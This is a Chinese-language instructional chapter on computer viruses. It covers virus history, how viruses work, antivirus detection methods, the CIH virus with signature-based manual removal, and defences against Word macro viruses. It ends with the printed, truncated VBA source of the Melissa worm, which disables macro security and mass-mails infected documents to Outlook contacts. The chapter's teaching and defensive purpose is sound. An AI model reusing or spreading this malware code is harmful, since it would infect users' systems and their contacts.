| 关键词: 病毒 程序 一个 文件 宏病毒 Perl WORD 变量 用户 如果 |
计算机病毒及实例 第一节 计算机病毒历史 早在1949年,电脑的先驱者冯·诺伊曼在他的一篇文章《复杂自动装置的理论及组织的行为》中,即提出一种会自我繁殖的程序的可能----现在称为病毒,但没引起注意。 十年之后,在贝尔实验室中,这个概念在一个电子游戏中形成了。这个电子游戏叫“Core War”。 Core War 这个游戏由三个年轻的工程师完成,道格拉斯·麦耀莱、维特·维索斯基和罗伯特·莫里斯(后来那个编写蠕虫病毒的莫里斯的父亲)。 Core War的玩如下:双方各编写一套程序,输入同一部电脑中。这两套程序在计算机内存中运行,它们相互追杀。有时它们回放下一些关卡,有时会停下来修复被对方破坏的指令。当它们被困时,可以自己复制自己,逃离险境。因为它们都在电脑的内存(以前是用core做内存的)游走,因此叫Core War。 这个游戏的特点,在於双方的程序进入电脑之后玩游戏的人只能看着屏幕上显示的战况,而不能做任何更改,一直到某一方的程式被另一方的程式完全 [吃掉] 为止。 这个游戏分成好几种,麦耀莱所写的叫 [达尔文],包含了 [物竞天择 适者生存] 的意思 。 它的游戏规则跟以上所描述的最接近。游戏双方用汇编语言(Assembly Language)各写一套程式 叫有机体(organism) 。这两个有机体在电脑里争斗不休,直到一方把另一方杀掉而取代之 便算分出胜负。 另外有个叫爬行者 (Creeper)的程序,每一次把它读出时 它便自己复制一个副本。此外它也会从一部电脑[爬]到另一部和它相连的电脑。很快地电脑中原有资料便被这些爬行者挤掉了。爬行者的唯一生存目的是繁殖。 为了对付[爬行者],有人便写出了[收割者](Reaper)。它的唯一生存目的便是找到爬行者,把它们毁灭掉。当所有爬行者都被收割掉之後,收割者便执行程式中最後一项指令毁灭自己,从电脑中消失。 [侏儒](Dwarf)并没有达尔文等程式聪明。却可是个极端危险人物。它在内存中迈进,每到第五个[地址](address)便把那里所储存的东西变为零,这会使得原来的程序停止。 最奇特的就是一个叫[印普](Imp)的战争程式了 ,它只有一行指令: MOV 01 这条指令把身处的地址中所载的[0]写(移)到下一个地址中,当印普展开行动之后,电脑中原有的每一行指令都被改为[MOV 01]。 [双子星](Germini)也相当有趣。它的作用只有一个:把自己复制,送到下一百个地址后,便抛弃掉[正本]。 从双子星衍生出一系列的程序。[牺牲者](Juggeraut)把自己复制後送到下十个地址之后,而[大雪人](Bigfoot)则把正本和复制品之间的地址定为某一个大质数。 电脑病毒的出现 一九八三年,科恩·汤普逊(Ken Thompson)是当年一项杰出电脑奖得主。在颁奖典礼上他作了一个演讲,不但公开地证实了电脑病毒的存在,而且还告诉所有听众怎样去写自己的病毒程序。 1983 年 11 月 3 日,弗雷德·科恩 (Fred Cohen) 博士研制出一种在运行过程中可以复制自身的破坏性程序,伦·艾德勒曼 (Len Adleman) 将它命名为计算机病毒 (computer viruses),并在每周一次的计算机安全讨论会上正式提出,8 小时后专家们在 VAX11/750 计算机系统上运行,第一个病毒实验成功,一周后又获准进行 5 个实验的演示,从而在实验上验证了计算机病毒的存在。 一九八四年, [科学美国人]月刊(Scientific American)的专栏作家杜特尼(A. K. Dewdney)在五月号写了第一篇讨论[Core War]的文章并且只要寄上两块美金,任何读者都可以收到有关程序的纲领,在自己家中的电脑中开辟战场。 [病毒]一词的正式出现 在一九八五年三月份的[科学美国人]里 杜特尼再次讨论[Core War]和病毒。在文章的开头他便说:“当去年五月有关[Core War]的文章印出来时 我并没有想过我所谈论的是那麽严重的题目”文中还第一次提到[病毒]这个名称。他提到说:“意大利的罗勃吐·歇鲁帝(Roberto Cerruti)和马高·莫鲁顾帝(Marco Morocutti)发明了一种破坏软件的方法。他们想用病毒而不是蠕虫来使得苹果二号电脑受感染。 歇鲁弟写了一封信给杜特尼,信内说:“马高想写一个像[病毒]一样的程式,可以从一部苹 果电脑传染到另一部苹果电脑,使其受到感染。可是我们没法这样做,直到我想到这个病毒要先使软盘受到感染,而电脑只是媒介。这样,病毒就可以从张软盘传染到另一软盘了。” 1986 年初,在巴基斯坦的拉合尔 (Lahore),巴锡特 (Basit) 和阿姆杰德 (Amjad) 两兄弟经营着一家 IBM-PC 机及其兼容机的小商店。他们编写了Pakistan 病毒,即 Brain。在一年内流传到了世界各地。 1988 年 3 月 2 日,一种苹果机的病毒发作,这天受感染的苹果机停止工作,只显示“向所有苹果电脑的使用者宣布和平的信息”。以庆祝苹果机生日。 1988 年 11 月 2 日,美国六千多台计算机被病毒感染,造成 Internet 不能正常运行。这是一次非常典型的计算机病毒入侵计算机网络的事件,迫使美国政府立即作出反应,国防部成立了计算机应急行动小组。 这次事件中遭受攻击的包括 5 个计算机中心和 12 个地区结点,连接着政府、大学、研究所和拥有政府合同的 250000 台计算机。这次病毒事件,计算机系统直接经济损失达 9600 万美元。 这个病毒程序设计者是罗伯特·莫里斯 (Robert T.Morris),当年 23 岁,是在康乃尔 (Cornell) 大学攻读学位的研究生。 罗伯特·莫里斯设计的病毒程序利用了系统存在的弱点。由于罗伯特·莫里斯成了入侵 ARPANET 网的最大的电子入侵者,而获准参加康乃尔大学的毕业设计,并获得哈佛大学 Aiken 中心超级用户的特权。他也因此被判 3 年缓刑,罚款 1 万美元,他还被命令进行 400 小时的新区服务。 1988 年底,在我国的国家统计部门发现小球病毒。 第二节 计算机病毒原理 计算机病毒定义 1994年2月18日,我国正式颁布实施了《中华人民共和国计算机信息系统安全保护条例》,在《条例》第二十八条中明确指出:“计算机病毒,是指编制或者在计算机程序中插入的破坏计算机功能或者毁坏数据,影响计算机使用,并能自我复制的一组计算机指令或者程序代码。”此定义具有法律性、权威性。(此节内容摘自《计算机安全管理与实用技术》一书) 计算机病毒原理 病毒的工作原理是什么呢?病毒是一个程序,一段人为编制的计算机程序代码。它通过想办法在正常程序运行之前运行,并处于特权级状态。这段程序代码一旦进入计算机并得以执行,对计算机的某些资源进行监视。它会搜寻其他符合其传染条件的程序或存储介质,确定目标后再将自身代码插入其中,达到自我繁殖的目的。只要一台计算机染毒,如不及时处理,那么病毒会在这台机子上迅速扩散,其中的大量文件(一般是可执行文件)会被感染。而被感染的文件又成了新的传染源,再与其他机器进行数据交换或通过网络接触,病毒会继续进行传染。 一般正常的程序是由用户调用,再由系统分配资源,完成用户交给的任务。其目的对用户是可见的、透明的。而病毒具有正常程序的一切特性,它隐藏在正常程序中,当用户调用正常程序时窃取到系统的控制权,先于正常程序执行,病毒的动作、目的对用户时未知的,是未经用户允许的。 病毒一般是具有很高编程技巧、短小精悍的程序。通常附在正常程序中或磁盘较隐蔽的地方,也有个别的以隐含文件形式出现。目的是不让用户发现它的存在。如果不经过代码分析,病毒程序与正常程序是不容易区别开来的。一般在没有防护措施的情况下,计算机病毒程序取得系统控制权后,可以在很短的时间里传染大量程序。而且受到传染后,计算机系统通常仍能正常运行,使用户不会感到任何异常。试想,如果病毒在传染到计算机上之后,机器马上无法正常运行,那么它本身便无法继续进行传染了。正是由于隐蔽性,计算机病毒得以在用户没有察觉的情况下扩散到上百万台计算机中。 大部分的病毒的代码之所以设计得非常短小,也是为了隐藏。病毒一般只有几百或1k字节,而PC机对DOS文件的存取速度可达每秒几百KB以上,所以病毒转瞬之间便可将这短短的几百字节附着到正常程序之中,使人非常不易被察觉。 大部分的病毒感染系统之后一般不会马上发作,它可长期隐藏在系统中,只有在满足其特定条件时才启动其表现(破坏)模块。只有这样它才可进行广泛地传播。如“PETER-2"在每年2月27日会提三个问题,答错后会将硬盘加密。著名的“黑色星期五”在逢13号的星期五发作。国内的“上海一号”会在每年三、六、九月的13日发作。当然,最令人难忘的便是26日发作的CIH。这些病毒在平时会隐藏得很好,只有在发作日才会露出本来面目。 任何病毒只要侵入系统,都会对系统及应用程序产生程度不同的影响。轻者会降低计算机工作效率,占用系统资源,重者可导致系统崩溃。由此特性可将病毒分为良性病毒与恶性病毒。良性病度可能只显示些画面或出点音乐、无聊的语句,或者根本没有任何破坏动作,但会占用系统资源。这类病毒较多,如:GENP、小球、W-BOOT等。恶性病毒则有明确得目的,或破坏数据、删除文件或加密磁盘、格式化磁盘,有的对数据造成不可挽回的破坏。这也反映出病毒编制者的险恶用心。 病毒分类 按传染方式分为:引导型病毒、文件型病毒和混合型病毒。 文件型病毒一般只传染磁盘上的可执行文件(COM,EXE)。在用户调用染毒的可执行文件时,病毒首先被运行,然后病毒驻留内存伺机传染其他文件或直接传染其他文件。其特点是附着于正常程序文件,成为程序文件的一个外壳或部件。这是较为常见的传染方式。 混合型病毒兼有以上两种病毒的特点,既染引导区又染文件,因此扩大了这种病毒的传染途径 随着计算机技术的发展,新的病毒也不断出现。我们在本章的最后一节将介绍宏病毒的机理和一个实例。 电脑病毒的新趋势 传统型病毒的一个特点 就是一定有一个「寄主」程序病毒就窝藏的这些程序里。最常见的就是一些可执行档 像是副档名为.EXE及.COM的档案。但是由於微软的WORD愈来愈流行,且WORD所提供的宏命令功能又很强 使用WORD宏命令写出来的病毒也愈来愈多于是就出现了以.DOC文件为“寄主”的也会宏病毒。 另外,不需要寄主的病毒也出现了,其实,它们寄生在「Internet」上。 如果Internet上的网页只是单纯用HTML写成的话 那麽要传播病毒的机会可说是非常小了。但是呢 为了让网页看起来更生动 更漂亮 许多语言也纷纷出笼 其中最有名的就属JAVA和ActiveX了。从而,它们就成为新一代病毒的温床。JAVA和ActiveX的执行方式是把程式码写在网页上 当你连上这个网站时 浏览器就把这些程式码读下来 然後用使用者自己系统里的资源去执行它。这样,使用者就会在神不知鬼不觉的状态下,执行了一些来路不明的程序。 对于传统病毒来讲,病毒是寄生在「可执行的」程序代码中的。新的病毒的机理告诉我们,病毒本身是能执行的一段代码,但它们可以寄生在非系统可执行文档里。只是这些文档被一些应用软件所执行。 在德国汉堡一个名为Chaos Computer 的俱乐部 有一个俱乐部成员完成一只新型态的病毒-----这只病毒可以找出Internet用户的私人银行资料 还可以进入银行系统将资金转出 不需要个人身份证明 也不需要转帐密码。 当使用者在浏览全球网站时 这个病毒会自动经由Active X 控制载入。Active X 控制可搜寻使用者计算机的硬盘 来寻找Intuit Quicken这个已有全球超过九百万使用者的知名个人理财软体。一旦发现Quicken的档案 这个病毒就会下转帐指令。 计算机病毒防范 电脑病毒检测技术 一台计算机染上病毒之后,会有许多明显或不明显的特征。例如是文件的长度和日期忽然改变,系统执行速度下降或出现一些奇怪的信息或无故死机,或更为严重的硬盘已经被格式化。 我们常用的防毒软件是如何去发现它们的呢?他们就是利用所谓的病毒码(Virus Pattern)。病毒码其实可以想像成是犯人的指纹 当防毒软件公司收集到一只新的病毒时 他们就会从这个病毒程式中截取一小段独一无二而且足以表示这只病毒的二进制程序码 (Binary Code) 来当做扫毒程序辨认此病毒的依据 而这段独一无二的二进制程序码就是所谓的病毒码。 在电脑中所有可以执行的程序(如 *.EXE*.COM) 几乎都是由二进制程序码所组成 也就是电脑的最基本语言-- 机器码。就连宏病毒在内 虽然它只是包含在Word文件中的宏命令集 可是它也是以二进制代码的方式存在於Word文件中。 反病毒软件常用下列技术来查找病毒的: 1.病毒码扫描法 将新发现的病毒加以分析後 根据其特徵 编成病毒码 加入资料库中。以後每当执行扫毒程序时 便能立刻扫描目标文件 并作病毒码比对 即能侦测到是否有病毒。病毒码扫描法又快又有效率( 例如趋势科技的PC-cillin及Server Protect 利用深层扫描技术 在即时扫瞄各个或大或小的档案时平均只需1/20秒的时间) 大多数防毒软件均采用这种方式 但其缺点是无法侦测到未知的新病毒及以变种病毒。 2.加总比对法 (Check-sum) 根据每个程序的文件名称、大小、时间、日期及内容 加总为一个检查码 再将检查码附於程序的後面 或是将所有检查码放在同一个资料库中 再利用此Check-sum系统 追踪并记录每个程序的检查码是否遭更改 以判断是否中毒。这种技术可侦测到各式的病毒 但最大的缺点就是误判断高 且无法确认是哪种病毒感染的。 3.人工智能陷阱 人工智能陷阱是一种监测电脑行为的常驻式扫描技术。它将所有病毒所产生的行为归纳起来 一旦发现内存的程式有任何不当的行为 系统就会有所警觉 并告知使用。这种技术的优点是执行速度快、手续简便 且可以侦测到各式病毒;其缺点就是程序设计难 且不容易考虑周全。不过在这千变万化的病毒世界中 人工智能陷阱扫描技术是一个至少具有保全功能的新观点。 4.软件模拟扫描法 软件模拟扫描技术专门用来对付千面人病毒(Polymorphic /MutationVirus)。千面人病毒在每次传染时 都以不同的随机乱数加密於每个中毒的档案中 传统病毒码比对的方式根本就无法找到这种病毒。软件模拟技术则是成功地模拟CPU执行 在其设计的DOS虚拟机器(Virtual Machine)下假执行病毒的变体引擎解码程序 安全并确实地将多型体病毒解开使其显露原本的面目 再加以扫描。 5.VICE(Virus Instruction Code Emulation) - 先知扫描法 VICE先知扫描技术是继软件模拟後的一大技术上突破。既然软件模拟可以建立一个保护模式下的DOS虚拟机器 模拟CPU动作并假执行程序以解开变体引擎病毒 那麽应用类似的技术也可以用来分析一般程序检查可疑的病毒码。因此VICE将工程师用来判断程新是否有病毒码存在的方法 分析归纳成专家系统知识库 再利用软体工程的模拟技术(Software Emulation)假执行新的病毒 则可分析出新病毒码对付以後的病毒。 6.即时I/O扫描(Realtime I/O Scan) Realtime I/O Scan的目的在於即时地对数据的输入/输出动作做病毒码比对的动作 希望能够在病毒尚未被执行之前 就能够防堵下来。理论上 这样的即时扫描技术会影响到数据的输入输出速度。但是使用实时扫描技术,文件传送进来之后,就等于扫过一次毒了。从整体上来讲,是没有什么差别的。 第三节 计算机病毒实例 CIH病毒检测 CIH病毒属文件型病毒,其别名有Win95.CIH、Spacefiller、Win32.CIH、PE_CIH,它主要感染Windows95/98下的可执行文件(PE格式,Portable Executable Format),目前的版本不感染DOS以及WIN 3.X(NE格式,Windows and OS/2 Windows 3.1 execution File Format)下的可执行文件,并且在Win NT中无效。其发展过程经历了v1.0,v1.1、v1.2、v1.3、v1.4总共5个版本,目前最流行的是v1.2版本。 CIH病毒v1.0版本: 最初的V1.0版本仅仅只有656字节,其雏形显得比较简单,与普通类型的病毒在结构上并无多大的改善,其最大的“卖点”是在于其是当时为数不多的、可感染Microsoft Windows PE类可执行文件的病毒之一,被其感染的程序文件长度增加,此版本的CIH不具有破坏性。 CIH病毒v1.1版本: 发展到v1.1版本时,病毒长度为796字节,此版本的CIH病毒具有可判断Win NT软件的功能,一旦判断用户运行的是Win NT,则不发生作用,进行自我隐藏,以避免产生错误提示信息,同时使用了更加优化的代码,以缩减其长度。此版本的CIH另外一个优秀点在于其可以利用WIN PE类可执行文件中的“空隙”,将自身根据需要分裂成几个部分后,分别插入到PE类可执行文件中,这样做的优点是在感染大部分WINPE类文件时,不会导致文件长度增加。 CIH病毒v1.2版本: 发展到v1.2版本时,除了改正了一些v1.1版本的缺陷之外,同时增加了破坏用户硬盘以及用户主机BIOS程序的代码,这一改进,使其步入恶性病毒的行列,此版本的CIH病毒体长度为1003字节。 CIH病毒v1.3版本: 原先v1.2版本的CIH病毒最大的缺陷在于当其感染ZIP自解压包文件(ZIP self-extractors file)时,将导致此ZIP压缩包在自解压时出现: WinZip Self-Extractor header corrupt. Possible cause: disk or file transfer error. 的错误警告信息。v1.3版本的CIH病毒显得比较仓促,其改进点便是针对以上缺陷的,它的改进方法是:一旦判断开启的文件是WinZip类的自解压程序,则不进行感染。同时,此版本的CIH病毒修改了发作时间。v1.3版本的CIH病毒长度为1010字节。 CIH病毒v1.4版本: 此版本的CIH病毒改进上上几个版本中的缺陷,不感染ZIP自解压包文件,同时修改了发作日期及病毒中的版权信息(版本信息被更改为:“CIH v1.4 TATUNG”,在以前版本中的相关信息为“CIH v1.x TTIT”),此版本的长度为1019字节。 CIH属恶性病毒,当其发作条件成熟时,将破坏硬盘数据,同时有可能破坏BIOS程序。其发作特征是: 1、以2048个扇区为单位,从硬盘主引导区开始依次往硬盘中写入垃圾数据,直到硬盘数据被全部破坏为止。最坏的情况下硬盘所有数据(含全部逻辑盘数据)均被破坏。 2、某些主板上的Flash Rom中的BIOS信息将被清除。 感染CIH病毒的特征: 由于流行的CIH病毒版本中,其标识版本号的信息使用的是明文,所以可以通过搜索可执行文件中的字符串来识别是否感染了CIH病毒,搜索的特征串为“CIH v”或者是“CIH v1.”如果你想搜索更完全的特征字符串,可尝试“CIH v1.2 TTIT”、“CIH v1.3 TTIT”以及“CIH v1.4 TATUNG”,不要直接搜索“CIH”特征串,因为此特征串在很多的正常程序中也存在,例如程序中存在如下代码行: inc bx dec cx dec ax 则它们的特征码正好是“CIH(0x43;0x49;0x48)”,容易产生误判。 另外一个判断方法是在Windows PE文件中搜索IMAGE_NT_SIGNATURE字段,也就是0x00004550,其代表的识别字符为“PE00”,然后查看其前一个字节是否为0x00,如果是,则表示程序未受感染,如果为其他数值,则表示很可能已经感染了CIH病毒。 还有一个判断方法是先搜索IMAGE_NT_SIGNATURE字段----“PE00”,接着搜索其偏移0x28位置处的值是否为55 8D 44 24 F8 33 DB 64,如果是,则表示此程序已被感染。 适合高级用户使用的一个方法是直接搜索特征代码,并将其修改掉,方法是:先处理掉两个转跳点,即搜索:5E CC 56 8B F0 特征串以及5E CC FB 33 DB特征串,将这两个特征串中的CC改为90(nop),接着搜索 CD 20 53 00 01 00 83 C4 20 与 CD 20 67 00 40 00 特征字串,将其全部修改为90,即可(以上数值全部为16进制)。 另外一种方法是将原先的PE程序的正确入口点找回来,填入当前入口点即可(此处以一个被感染的CALC.EXE程序为例),具体方法为:先搜索IMAGE_NT_SIGNATURE字段----“PE00”,接着将距此点偏移0x28处的4个字节值,例如“A0 02 00 00”(0x000002A0),再由此偏移所指的位置(即0x02A0)找到数据“55 8D 44 24 F8 33 DB 64”,并由0X02A0加上0X005E得到0x02FE偏移,此偏移处的数据例如为“CB 21 40 00”(OXOO4021CB),将此值减去OX40000,将得数----“CB 21 00 00” (OXOO0021CB)值放回到距“PE00”点偏移0x28的位置即可(此处为Windows PE格式程序的入口点,术语称为Program Entry Point)。最后将“55 8D 44 24 F8 33 DB 64”全部填成“00”,使得我们容易判断病毒是否已经被杀除过。 CIH机理分析 其原理主要是使用Windows的VxD(虚拟设备驱动程序)编程方法。使用这一方法的目的是获取高的CPU权限,CIH病毒使用的方法是首先使用SIDT取得IDT base address(中断描述符表基地址),然后把IDT的INT 3 的入口地址改为指向CIH自己的INT3程序入口部分,再利用自己产生一个INT 3指令运行至此CIH自身的INT 3入口程序出,这样CIH病毒就可以获得最高级别的权限(即权限0),接着病毒将检查DR0寄存器的值是否为0,用以判断先前是否有CIH病毒已经驻留。如DR0的值不为0,则表示CIH病毒程式已驻留,则此CIH副本将恢复原先的INT 3入口,然后正常退出(这一特点也可以被我们利用来欺骗CIH程序,以防止它驻留在内存中,但是应当防止其可能的后继派生版本)。如果判断DR0值为0,则CIH病毒将尝试进行驻留,其首先将当前EBX寄存器的值赋给DR0寄存器,以生成驻留标记,然后调用INT 20中断,使用VxD call Page Allocate系统调用,要求分配Windows系统内存(system memory),Windows系统内存地址范围为C0000000h~FFFFFFFFh,它是用来存放所有的虚拟驱动程序的内存区域,如果程序想长期驻留在内存中,则必须申请到此区段内的内存,即申请到影射地址空间在C0000000h以上的 内存。 如果内存申请成功,则接着将从被感染文件中将原先分成多段的病毒代码收集起来,并进行组合后放到申请到的内存空间中,完成组合、放置过程后,CIH病毒将再次调用INT 3中断进入CIH病毒体的INT 3入口程序,接着调用INT20来完成调用一个IFSMgr_InstallFileSystemApiHook的子程序,用来在文件系统处理函数中挂接钩子,以截取文件调用的操作,接着修改IFSMgr_InstallFileSystemApiHook的入口,这样就完成了挂接钩子的工作,同时Windows默认的IFSMgr_Ring0_FileIO(InstallableFileSystemManager,IFSMgr)。服务程序的入口地址将被保留,以便于CIH病毒调用,这样,一旦出现要求开启文件的调用,则CIH将在第一时间截获此文件,并判断此文件是否为PE格式的可执行文件,如果是,则感染,如果不是,则放过去,将调用转接给正常的Windows IFSMgr_IO服务程序。CIH不会重复多次地感染PE格式文件,同时可执行文件的只读属性是否有效,不影响感染过程,感染文件后,文件的日期与时间信息将保持不变。对于绝大多数的PE程序,其被感染后,程序的长度也将保持不变,CIH将会把自身分成多段,插入到程序的空域中。完成驻留工作后的CIH病毒将把原先的IDT中断表中的INT 3入口恢复成原样。 Flash ROM的破坏原理 PC机上常用来保存PC BIOS程序的Flash ROM包含两个电压接口,其中+12V一般用Boot Block的改写,Boot Block为一特殊的区块,它主要用于保存一个最小的BIOS,用以启动最基本的系统之用,当Flash ROM中的其它区块内的数据被破坏时,只要Boot Block内的程序还处于可用状态,则可以利用这一基本的PC BIOS程序来启动一个最小化的系统,一般情况下,起码应当支持软盘的读写以及键盘的输入,这样我们就有机会使用软盘来重新构建整个Flash ROM中的数据。一般的主板上均包含有一个专门的跳线,用来确定是否给此Flash ROM芯片提供+12V电压,只有我们需要修改Flash ROM中的Boot Block区域内的数据时,才需要短接此跳线,以提供+12V电压。 另外一路电压为+5V电压,它可以用于维持芯片工作,同时为更新Flasm ROM中非Boot Block区域提供写入电压。 主板上的+12V跳线是为了防止更新Flash ROM中的Boot Block区域而设置的,如果想升级BIOS,同时此升级程序只需要更新Boot Block区域以外的BIOS程序,则主板上的跳线根本没必要去跳,因为更新Boot Block区域以外的数据并不需要+12V电压,这样,即使升级失败,我们也还存在着一个Boot Block中的最基本BIOS可以使用,这样就可以使用软盘来恢复原先的BIOS数据(一般在升级的时候后,都提示用户保存当前的BIOS数据)。 某些芯片在+5V的电压下就可以进行改写,这些单5V的芯片便是造成BIOS数据被彻底破坏的原应。 Word宏病毒透视 Word宏病毒,是近年来被人们谈论得最多的一种电脑病毒。由于一些杀毒软件广告对此病毒的着力渲染,使得一些普通的用户对该病毒谈之色变。其实,在了解了Word宏病毒的编制、发作过程之后,即使是普通的电脑用户,不借助任何杀毒软件,也可以较好地对其进行防冶。 Word宏病毒,是用一种专门的Basic语言即Word Basic所编写的程序。与其它计算机病毒一样,它能对用户系统中的可执行文件和数据文本类文件造成破坏。 根据触发条件,Word宏病毒至少可分为两类:一类是公(共)用宏病毒。这类宏病毒对所有的Word文档有效,其触发条件是在启动或调用Word文档时,自动执行。 这类宏病毒有两个显著的特点: 一是只能用“Autoxxxx"来命名,即宏名称是用“Auto"开头,xxxx表示的是具体的一种宏文件名。如AutoOpen、AutoClose、AutoCopy等; 二是它们一定要附加在Word共用模板上才有“公用”作用。通常在用户不规定和另行编制其它的公用模板时,它们应是附加在Normal.dot模板上,或者首先要能将自己写进这样的模板才行。 另一类称为“私用宏病毒”。私用宏病毒与公用宏病毒的主要区别是,前者一般放在用户自定义的Word模板中,仅与使用这种模板的Word文档有关,即只有使用这个特定模板的文档,该宏病毒才有效,而对使用其它模板的文档,私用宏病毒一般不起作用。 从编制病毒者的目的看,一般Word宏病毒都被编制成公用宏并自动触发的程序形式,以达到不以用户意志为转移启动和传播的目的。虽然私用宏的Word病毒很少,但现在因为互联网使用的频繁,可能网络中传输的一些常用格式的文档会带有私用宏病毒。如随着“Word 97"的使用,将其放在“HTML模板”中进行传播。 Word中提供由用户编制“宏”这一功能的目的是为了让用户能够用简单的编程方法,来简化一些经常性的操作。这很像DOS的批处理文件将多个执行命令放在一起来一次执行一样。所以,Word宏的编制技术,与其它的编程技术相比,要求是很低的,也很容易编制。Word甚至还提供了不用编程,仅依靠录制用户实际操作方法就可以生成宏的功能,这就使那些对计算机编程语言没有多少知识但却对病毒“一往情深”者,也可以加入到病毒制造者的行列中。 虽然Word的宏功能为那些心怀叵测的人提供了一种简单高效的制造新病毒的手段,但是防治这类病毒绝非像某些广告或文章所说的那样难,尤其是与那些用复杂的计算机编程语言编制的病毒相比,宏病毒的防治要容易得多!下面我们谈谈对该病毒的防冶。 1.当怀疑系统带有宏病毒时,首先应查看是否存在“可疑”的宏。所谓可疑的宏,是指用户自己没有编制过,也不是Word默认提供而新出现的宏。尤其对以“Auto"开头的宏,应高度警惕。如果有这类宏,很可能就是宏病毒,最好将其删去。 查看宏的方法是在打开某种模板的Word文档后,用“工具”菜单中的“宏”选项,将当前模板使用的所有的宏调出进行查看。平时在没有宏病毒的时候,不妨对系统已有的和自己编制的宏做一个文件清单,以便随时对照! 2.用户在新安装了Word后,可打开一个新文档,将Word的工作环境按你的使用习惯进行设置,并将你需要使用的宏一次编制好,做完后,保存新文档,使Normal.dot模板改变。新的Normal.dot现在含有你需要的使用设置并绝对没有宏病毒,可将这份干净的Normal.dot备份下来,这样你的手中就有了一份绝对可靠的Normal.dot模板。在遇到有宏病毒感染或怀疑感染了宏病毒的时候,可随时用备份的Normal模块来覆盖当前的Normal.dot模板。Normal.dot在用户没有另外指定存放模板的路径时,应该在Word(或Office)的Templates目录下。 3.如果用户自己编制有Autoxxxx这类宏,建议将编制完成的结果记录下来,即将其中的代码内容打印或抄录下来,放在手边备查。这样,当你的Word感染了宏病毒或怀疑有宏病毒的时候,可以打开该宏,与记录的内容进行对照。如果其中有一处或多处被改变或者增加了一些原来没有的语句,则不论你是否能看懂这些代码,都应将这些语句统统删除,仅保留原来编制的内容。 4.如果你没有编制过任何以“Auto"开头的Word宏,现在系统运行不正常而又完全能排除是由其它的硬件故障或系统软件配置问题引起,那么,在打开“工具”菜单的“宏”选项后,如果看到有这类宏,最好执行删除自动宏的操作,因为即便错删了,也不会对Word文档内容产生任何影响,仅仅是少了相应的“宏功能”。如果需要,你还可以重新编制。 5.如果要使用外来的Word文档且不能判断这些“外来客”是否带宏病毒,有两个做法是有效的:如果必须保留原来的文档编排格式,那么用Word。打开文档后,就需要用上述的几种方法进行检查,只有在确信没有宏病毒后,你才能执行保存该文档的操作;另一个方法是,如果没有保留原来文档的排版格式的必要,可先用Windows提供的书写器(对使用Windows 3.x而言)或写字板(对使用Windows 95而言)来打开外来的Word文档,将其先转换成书写器或写字板格式的文件并保存后,再用Word调用。因为书写器或写字板是不调用也不记录和保存任何Word宏的,文档经此转换,所有附带其上的宏都将丢失,当然,这样做将使该Word文档中所有的排版格式也一并丢失。 6.在调用外来的Word文档时,除了用书写器或写字板对Word宏进行“过滤”外,还有一个简单的方法,就是在调用Word文档时先禁止所有的以Auto开头的宏的执行。这样能保证用户在安全启动Word文档后,再进行必要的病毒检查。为此,对于使用Word 97以前版本的用户,需要自行编制一个名为AutoExec的宏。这个宏在执行时,将关闭其它所有自动执行的Word宏。将AutoExec宏保存到一个另外命名的模板中,比如AV.dot,当要使用外来的Word文档时,将含有AutoExec的AV 模板改名为Normal.dot模板(应先备份原来的Normal.dot模板);如果不使用外来文档,可以将原来备份的Normal.dot模板再改名拷贝回来。AutoExec宏的参考代码如下: Sub MAIN DisableAutoMacros End Sub 对于使用Word 97版本的用户,Word 97已经提供此项功能,将其激活或打开即可。方法是,单击“工具”菜单→“选项” →“常规”,用鼠标勾选“宏病毒防护”选项,这样,当前打开的文档所使用的模板就有了防止“自动宏”执行的功能,当以后使用这个模板的文档时,如打开的文件带有“自动宏”,Word 97将首先告诉用户打开的文档带有自动宏,并询问用户是否执行这些宏。不用说,应该选择 "否”,待进入并打开文档后,再对文档进行“宏”检查。 Melissa病毒源代码 Private Sub Document_Open() On Error Resume Next If System.PrivateProfileString("" "HKEY_CURRENT_USER9.0" "Level") < > "" Then CommandBars("Macro").Controls("Security...").Enabled = False System.PrivateProfileString("" "HKEY_CURRENT_USER9.0" "Level") = 1& Else CommandBars("Tools").Controls("Macro").Enabled = False Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1) End If Dim UngaDasOutlook DasMapiName BreakUmOffASlice Set UngaDasOutlook = CreateObject("Outlook.Application") Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI") If System.PrivateProfileString("" "HKEY_CURRENT_USER" "Melissa?") < > "... by Kwyjibo" Then If UngaDasOutlook = "Outlook" Then DasMapiName.Logon "profile" "password" For y = 1 To DasMapiName.AddressLists.Count Set AddyBook = DasMapiName.AddressLists(y) x = 1 Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0) For oo = 1 To AddyBook.AddressEntries.Count Peep = AddyBook.AddressEntries(x) BreakUmOffASlice.Recipients.Add Peep x = x + 1 If x > 50 Then oo = AddyBook.AddressEntries.Count Next oo BreakUmOffASlice.Subject = "Important Message From " & Application.UserName BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)" BreakUmOffASlice.Attachments.Add ActiveDocument.FullName BreakUmOffASlice.Send Peep = "" Next y DasMapiName.Logoff End If System.PrivateProfileString("" "HKEY_CURRENT_USER" "Melissa?") = "... by Kwyjibo" End If Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1) Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1) NTCL = NTI1.CodeModule.CountOfLines ADCL = ADI1.CodeModule.CountOfLines BGN = 2 If ADI1.Name < > "Melissa" Then If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1 ADCL Set ToInfect = ADI1 ADI1.Name = "Melissa" DoAD = True End If If NTI1.Name < > "Melissa" Then If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1 NTCL Set ToInfect = NTI1 NTI1.Name = "Melissa" DoNT = True End If If DoNT < > True And DoAD < > True Then GoTo CYA If DoNT = True Then Do While ADI1.CodeModule.Lines(1 1) = "" ADI1.CodeModule.DeleteLines 1 Loop ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()") Do While ADI1.CodeModule.Lines(BGN 1) < > "" ToInfect.CodeModule.InsertLines BGN ADI1.CodeModule.Lines(BGN 1) BGN = BGN + 1 Loop End If If DoAD = True Then Do While NTI1.CodeModule.Lines(1 1) = "" NTI1.CodeModule.DeleteLines 1 Loop ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()") Do While NTI1.CodeModule.Lines(BGN 1) < > "" ToInfect.CodeModule.InsertLines BGN NTI1.CodeModule.Lines(BGN 1) BGN = BGN + 1 Loop End If CYA: If NTCL < > 0 And ADCL = 0 And (InStr(1 ActiveDocument.Name 